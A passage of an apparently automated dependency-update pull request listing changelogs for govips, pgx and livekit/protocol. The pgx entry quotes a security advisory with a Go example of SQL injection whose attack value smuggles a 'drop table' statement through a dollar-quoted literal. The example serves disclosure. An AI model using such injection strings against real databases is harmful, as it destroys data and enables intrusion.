\u003ccode\u003evipsImageGetAsString\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/510\"\u003e#510\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eFix segfault\u003c/strong\u003e during animated WebP export in test suite\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eReplace panics with errors\u003c/strong\u003e in \u003ccode\u003estartupIfNeeded\u003c/code\u003e and test helpers (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/522\"\u003e#522\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/523\"\u003e#523\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eUpdate minimum libvips\u003c/strong\u003e from 8.10 to 8.14 (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/518\"\u003e#518\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix C code bugs in \u003ccode\u003eset_image_delay\u003c/code\u003e and \u003ccode\u003elabel\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/512\"\u003e#512\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRemove incorrect defers that would free internal vips pointers (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/511\"\u003e#511\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate dependencies to fix known vulnerabilities\u003c/li\u003e\n\u003cli\u003eSimplify CI workflow, align Go version with go.mod (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/519\"\u003e#519\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eBreaking\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eRemoved \u003ccode\u003evips/pipeline\u003c/code\u003e package — it was a thin wrapper over \u003ccode\u003eImageRef\u003c/code\u003e methods covering ~40 of 139 methods, creating a dual-surface problem. Use \u003ccode\u003eImageRef\u003c/code\u003e methods directly.\u003c/li\u003e\n\u003cli\u003eMinimum libvips version bumped from 8.10 to 8.14\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev2.17.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003ch3\u003eNew Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd built-in vipsgen code generator for auto-generating C bridge wrappers\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eNewTransparentCanvas\u003c/code\u003e helper for creating transparent RGBA images\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eGrey()\u003c/code\u003e constructor for creating gradient images\u003c/li\u003e\n\u003cli\u003eAdd fast Go \u003ccode\u003eimage.Image\u003c/code\u003e interop: \u003ccode\u003eToGoImage\u003c/code\u003e and \u003ccode\u003eNewImageFromGoImage\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eLoop\u003c/code\u003e API and preserve loop/delay metadata in \u003ccode\u003eRemoveMetadata\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eAdd gravity function\u003c/li\u003e\n\u003cli\u003eAdd PSD support\u003c/li\u003e\n\u003cli\u003eAdd Magick Save, support ICO load\u003c/li\u003e\n\u003cli\u003eAdd access options while loading image\u003c/li\u003e\n\u003cli\u003eAdd additional image operation functions\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix memory leak, panics, and race condition\u003c/li\u003e\n\u003cli\u003eFix memory leak when using multi pages\u003c/li\u003e\n\u003cli\u003eFix animated resize producing toilet-roll images\u003c/li\u003e\n\u003cli\u003eFix CMYK ICC profile ignored when embedded profile exists\u003c/li\u003e\n\u003cli\u003eFix TIFF tile dimensions zero-value crash\u003c/li\u003e\n\u003cli\u003eFix JXL type detection for ISOBMFF containers with varying box sizes\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eruntime.KeepAlive\u003c/code\u003e to prevent GC finalization during CGo calls\u003c/li\u003e\n\u003cli\u003eStop implicitly converting BMP files to PNG\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eInternal Improvements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eConsolidate generated C bridge files into \u003ccode\u003egenerated.{c,h,go}\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eConsolidate hand-written C bridge files into \u003ccode\u003eoperations.{c,h,go}\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eReduce hand-written C bridge code by using generated wrappers\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/1c56c968207c748f90627c998f93be6cbbe2bbca\"\u003e\u003ccode\u003e1c56c96\u003c/code\u003e\u003c/a\u003e Add leak detector, remove pipeline, split ImageRef god object (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/525\"\u003e#525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/ed2402c9854112076bff4f583c9537542e46be61\"\u003e\u003ccode\u003eed2402c\u003c/code\u003e\u003c/a\u003e update claude.md and remove unnecessary files\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/b8b8568af3fb38493e28952288b398d8d4f9c025\"\u003e\u003ccode\u003eb8b8568\u003c/code\u003e\u003c/a\u003e Add composable pipeline API for image transforms (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/524\"\u003e#524\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/e1b3461e4a1b6d20c0788885d8ee1bd7b59e163b\"\u003e\u003ccode\u003ee1b3461\u003c/code\u003e\u003c/a\u003e Update dependencies to fix known vulnerabilities\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/74b216dc420d24d369d21c2fe3dc90baac891d57\"\u003e\u003ccode\u003e74b216d\u003c/code\u003e\u003c/a\u003e Fix segfault during animated WebP export in test suite\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/4f36436b36628de0479fba2627f981dd98a637d2\"\u003e\u003ccode\u003e4f36436\u003c/code\u003e\u003c/a\u003e Simplify CI workflow: drop Coveralls, clean up steps\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/e09c89dce24e9b4c731e67c6e75c5a819cf5dd1b\"\u003e\u003ccode\u003ee09c89d\u003c/code\u003e\u003c/a\u003e Remove stale build/ directory with outdated Dockerfiles\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/1d528fba548f06fa4a1f0df89d045e4ca6c2887d\"\u003e\u003ccode\u003e1d528fb\u003c/code\u003e\u003c/a\u003e Replace deprecated Export() call in ToImage() with ExportNative()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/3fad8cc6f81dd62e63833cca59b51fcdeaec4ec8\"\u003e\u003ccode\u003e3fad8cc\u003c/code\u003e\u003c/a\u003e add usage examples\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/6cf8e10a85829278ad1b0f35e73825bf2b570ff5\"\u003e\u003ccode\u003e6cf8e10\u003c/code\u003e\u003c/a\u003e Return error from startupIfNeeded instead of panicking (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/523\"\u003e#523\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/davidbyttow/govips/compare/v2.16.0...v2.18.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/jackc/pgx/v5` from 5.7.2 to 5.9.2\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/jackc/pgx/blob/master/CHANGELOG.md\"\u003egithub.com/jackc/pgx/v5's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e5.9.2 (April 18, 2026)\u003c/h1\u003e\n\u003cp\u003eFix SQL Injection via placeholder confusion with dollar quoted string literals (GHSA-j88v-2chj-qfwx)\u003c/p\u003e\n\u003cp\u003eSQL injection can occur when:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eThe non-default simple protocol is used.\u003c/li\u003e\n\u003cli\u003eA dollar quoted string literal is used in the SQL query.\u003c/li\u003e\n\u003cli\u003eThat query contains text that would be would be interpreted outside as a placeholder outside of a string literal.\u003c/li\u003e\n\u003cli\u003eThe value of that placeholder is controllable by the attacker.\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003ee.g.\u003c/p\u003e\n\u003cpre lang=\"go\"\u003e\u003ccode\u003eattackValue := `$tag$; drop table canary; --`\n_, err = tx.Exec(ctx, `select $tag$ $1 $tag$, $1`, pgx.QueryExecModeSimpleProtocol, attackValue)\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThis is unlikely to occur outside of a contrived scenario.\u003c/p\u003e\n\u003ch1\u003e5.9.1 (March 22, 2026)\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003eFix: batch result format corruption when using cached prepared statements (reported by Dirkjan Bussink)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e5.9.0 (March 21, 2026)\u003c/h1\u003e\n\u003cp\u003eThis release includes a number of new features such as SCRAM-SHA-256-PLUS support, OAuth authentication support, and\nPostgreSQL protocol 3.2 support.\u003c/p\u003e\n\u003cp\u003eIt significantly reduces the amount of network traffic when using prepared statements (which are used automatically by\ndefault) by avoiding unnecessary Describe Portal messages. This also reduces local memory usage.\u003c/p\u003e\n\u003cp\u003eIt also includes multiple fixes for potential DoS due to panic or OOM if connected to a malicious server that sends\ndeliberately malformed messages.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eRequire Go 1.25+\u003c/li\u003e\n\u003cli\u003eAdd SCRAM-SHA-256-PLUS support (Adam Brightwell)\u003c/li\u003e\n\u003cli\u003eAdd OAuth authentication support for PostgreSQL 18 (David Schneider)\u003c/li\u003e\n\u003cli\u003eAdd PostgreSQL protocol 3.2 support (Dirkjan Bussink)\u003c/li\u003e\n\u003cli\u003eAdd tsvector type support (Adam Brightwell)\u003c/li\u003e\n\u003cli\u003eSkip Describe Portal for cached prepared statements reducing network round trips\u003c/li\u003e\n\u003cli\u003eMake LoadTypes query easier to support on \u0026quot;postgres-like\u0026quot; servers (Jelte Fennema-Nio)\u003c/li\u003e\n\u003cli\u003eDefault empty user to current OS user matching libpq behavior (ShivangSrivastava)\u003c/li\u003e\n\u003cli\u003eOptimize LRU statement cache with custom linked list and node pooling (Mathias Bogaert)\u003c/li\u003e\n\u003cli\u003eOptimize date scanning by replacing regex with manual parsing (Mathias Bogaert)\u003c/li\u003e\n\u003cli\u003eOptimize pgio append/set functions with direct byte shifts (Mathias Bogaert)\u003c/li\u003e\n\u003cli\u003eMake RowsAffected faster (Abhishek Chanda)\u003c/li\u003e\n\u003cli\u003eFix: Pipeline.Close panic when server sends multiple FATAL errors (Varun Chawla)\u003c/li\u003e\n\u003cli\u003eFix: ContextWatcher goroutine leak (Hank Donnay)\u003c/li\u003e\n\u003cli\u003eFix: stdlib discard connections with open transactions in ResetSession (Jeremy Schneider)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/0aeabbcf11d859229c1f0b20e710d3596c76bf27\"\u003e\u003ccode\u003e0aeabbc\u003c/code\u003e\u003c/a\u003e Release v5.9.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/60644f84918a8af66d14a4b0d865d4edafd955da\"\u003e\u003ccode\u003e60644f8\u003c/code\u003e\u003c/a\u003e Fix SQL sanitizer bugs with dollar-quoted strings and placeholder overflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/a5680bc945aa7c6ebac2778d859ee7b4ba86db60\"\u003e\u003ccode\u003ea5680bc\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/jackc/pgx/issues/2531\"\u003e#2531\u003c/a\u003e from dolmen-go/godoc-add-links\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/e34e4524007062710c6a4fb9c8655b75a486b5cd\"\u003e\u003ccode\u003ee34e452\u003c/code\u003e\u003c/a\u003e doc: Add godoc links\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/08c9bb1f0d8fa6cc10ed8c713e68b1baa64dfe2c\"\u003e\u003ccode\u003e08c9bb1\u003c/code\u003e\u003c/a\u003e Fix Stringer types encoded as text instead of numeric value in composite fields\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/96b4dbdfd0458cb425bf8454d292a23978872cc8\"\u003e\u003ccode\u003e96b4dbd\u003c/code\u003e\u003c/a\u003e Remove unstable test\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/acf88e0065682e8948696d26fa6438669c4cabee\"\u003e\u003ccode\u003eacf88e0\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/jackc/pgx/issues/2526\"\u003e#2526\u003c/a\u003e from abrightwell/abrightwell-min-proto\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/2f81f1fc03bef99593e92c64ad9cac954c00e8e6\"\u003e\u003ccode\u003e2f81f1f\u003c/code\u003e\u003c/a\u003e Update \u003ccode\u003emax_protocol_version\u003c/code\u003e and \u003ccode\u003emin_protocol_version\u003c/code\u003e defaults\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/4e4eaedb47b7b3cfba0a1b0a9e6a3f015764f046\"\u003e\u003ccode\u003e4e4eaed\u003c/code\u003e\u003c/a\u003e Release v5.9.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/62731882651a90348febb43b2119b5f8bd9272de\"\u003e\u003ccode\u003e6273188\u003c/code\u003e\u003c/a\u003e Fix batch result format corruption when using cached prepared statements\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/jackc/pgx/compare/v5.7.2...v5.9.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/livekit/protocol` from 1.44.1-0.20260120134243-0914cc74653e to 1.45.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/livekit/protocol/releases\"\u003egithub.com/livekit/protocol's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ccode\u003e@​livekit/protocol\u003c/code\u003e\u003ca href=\"https://github.com/1\"\u003e\u003ccode\u003e@​1\u003c/code\u003e\u003c/a\u003e.45.3\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eAdd SUSPENDED node state. - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1486\"\u003e#1486\u003c/a\u003e (\u003ca href=\"https://github.com/boks1971\"\u003e\u003ccode\u003e@​boks1971\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAdd get_framework_info request/response support in agent session protocol and regenerate JavaScript protobuf types. - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1493\"\u003e#1493\u003c/a\u003e (\u003ca href=\"https://github.com/toubatbrian\"\u003e\u003ccode\u003e@​toubatbrian\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​livekit/protocol\u003c/code\u003e\u003ca href=\"https://github.com/1\"\u003e\u003ccode\u003e@​1\u003c/code\u003e\u003c/a\u003e.45.2\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eadd room name and start time to agent MetricsRecordingHeader - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1474\"\u003e#1474\u003c/a\u003e (\u003ca href=\"https://github.com/paulwe\"\u003e\u003ccode\u003e@​paulwe\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003efeat(rpc/room): add \u003ccode\u003eListParticipants\u003c/code\u003e and \u003ccode\u003eGetParticipant\u003c/code\u003e - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1459\"\u003e#1459\u003c/a\u003e (\u003ca href=\"https://github.com/sohbit\"\u003e\u003ccode\u003e@​sohbit\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eadd \u003ccode\u003eFrame ID\u003c/code\u003e packet trailer feature - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1453\"\u003e#1453\u003c/a\u003e (\u003ca href=\"https://github.com/chenosaurus\"\u003e\u003ccode\u003e@​chenosaurus\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​livekit/protocol\u003c/code\u003e\u003ca href=\"https://github.com/1\"\u003e\u003ccode\u003e@​1\u003c/code\u003e\u003c/a\u003e.45.1\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eadd generic list type - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1449\"\u003e#1449\u003c/a\u003e (\u003ca href=\"https://github.com/paulwe\"\u003e\u003ccode\u003e@​paulwe\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eadd livekit_agent_simulation service, agent remote session proto \u0026amp; cli dev proto - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1404\"\u003e#1404\u003c/a\u003e (\u003ca href=\"https://github.com/theomonnom\"\u003e\u003ccode\u003e@​theomonnom\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003efix flaky test - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1445\"\u003e#1445\u003c/a\u003e (\u003ca href=\"https://github.com/paulwe\"\u003e\u003ccode\u003e@​paulwe\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003erequire logger name - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1444\"\u003e#1444\u003c/a\u003e (\u003ca href=\"https://github.com/paulwe\"\u003e\u003ccode\u003e@​paulwe\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003enormalize protobuf \u0026quot;id\u0026quot; log field names - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1451\"\u003e#1451\u003c/a\u003e (\u003ca href=\"https://github.com/paulwe\"\u003e\u003ccode\u003e@​paulwe\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eencode monotonic time in wall clock - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1439\"\u003e#1439\u003c/a\u003e (\u003ca href=\"https://github.com/paulwe\"\u003e\u003ccode\u003e@​paulwe\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAllow sips: scheme in transfer URIs. - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1446\"\u003e#1446\u003c/a\u003e (\u003ca href=\"https://github.com/dennwc\"\u003e\u003ccode\u003e@​dennwc\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eexport discard logger - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1457\"\u003e#1457\u003c/a\u003e (\u003ca href=\"https://github.com/paulwe\"\u003e\u003ccode\u003e@​paulwe\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eRename log field pID to participantID - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1452\"\u003e#1452\u003c/a\u003e (\u003ca href=\"https://github.com/paulwe\"\u003e\u003ccode\u003e@​paulwe\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​livekit/protocol\u003c/code\u003e\u003ca href=\"https://github.com/1\"\u003e\u003ccode\u003e@​1\u003c/code\u003e\u003c/a\u003e.45.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd PayloadTrailerFeature to TrackInfo and AddTrackRequest - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1438\"\u003e#1438\u003c/a\u003e (\u003ca href=\"https://github.com/chenosaurus\"\u003e\u003ccode\u003e@​chenosaurus\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003emove out connector protos - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1429\"\u003e#1429\u003c/a\u003e (\u003ca href=\"https://github.com/paulwe\"\u003e\u003ccode\u003e@​paulwe\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eadd AGENT_ERROR disconnect reason - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1434\"\u003e#1434\u003c/a\u003e (\u003ca href=\"https://github.com/theomonnom\"\u003e\u003ccode\u003e@​theomonnom\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​livekit/protocol\u003c/code\u003e\u003ca href=\"https://github.com/1\"\u003e\u003ccode\u003e@​1\u003c/code\u003e\u003c/a\u003e.44.1\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/livekit/protocol/blob/main/CHANGELOG.md\"\u003egithub.com/livekit/protocol's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.45.3\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd SUSPENDED node state. - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1486\"\u003e#1486\u003c/a\u003e (\u003ca href=\"https://github.com/boks1971\"\u003e\u003ccode\u003e@​boks1971\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.45.2\u003c/h2\u003e\n\u003ch2\u003e1.45.1\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eDropping use of an affinity function in CreateSIPParticipant - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1456\"\u003e#1456\u003c/a\u003e (\u003ca href=\"https://github.com/alexlivekit\"\u003e\u003ccode\u003e@​alexlivekit\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.45.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd PayloadTrailerFeature to TrackInfo and AddTrackRequest - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1438\"\u003e#1438\u003c/a\u003e (\u003ca href=\"https://github.com/chenosaurus\"\u003e\u003ccode\u003e@​chenosaurus\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdded NoRandomness field to individual dispatch rule\u0026quot; - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1426\"\u003e#1426\u003c/a\u003e (\u003ca href=\"https://github.com/alexlivekit\"\u003e\u003ccode\u003e@​alexlivekit\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.44.1\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eupdate text message protocol for http endpoints - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1407\"\u003e#1407\u003c/a\u003e (\u003ca href=\"https://github.com/longcw\"\u003e\u003ccode\u003e@​longcw\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAdding feature_flags field to InternalTransferSIPParticipantRequest, InternalCreateSIPParticipantRequest, and EvaluateSIPDispatchRulesResponse - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1382\"\u003e#1382\u003c/a\u003e (\u003ca href=\"https://github.com/alexlivekit\"\u003e\u003ccode\u003e@​alexlivekit\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.44.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd numbers field to SIPDispatchRuleInfo for filtering calls by called number - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1351\"\u003e#1351\u003c/a\u003e (\u003ca href=\"https://github.com/civilcoder55\"\u003e\u003ccode\u003e@​civilcoder55\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eAdd auto_subscribe_data_track to StartSession. - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1366\"\u003e#1366\u003c/a\u003e (\u003ca href=\"https://github.com/boks1971\"\u003e\u003ccode\u003e@​boks1971\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAdd TextMessageRequest and TextMessageResponse - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1349\"\u003e#1349\u003c/a\u003e (\u003ca href=\"https://github.com/longcw\"\u003e\u003ccode\u003e@​longcw\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAdd featureinfo nested field for reporting noise cancellation feature specific metadata - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1367\"\u003e#1367\u003c/a\u003e (\u003ca href=\"https://github.com/1egoman\"\u003e\u003ccode\u003e@​1egoman\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eOption to control auto subscribe of data tracks. - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1365\"\u003e#1365\u003c/a\u003e (\u003ca href=\"https://github.com/boks1971\"\u003e\u003ccode\u003e@​boks1971\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eChanging the wording on duplicate dispatch rule error message - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1343\"\u003e#1343\u003c/a\u003e (\u003ca href=\"https://github.com/alexlivekit\"\u003e\u003ccode\u003e@​alexlivekit\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/livekit/protocol/commits/v1.45.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/livekit/server-sdk-go/v2` from 2.13.3 to 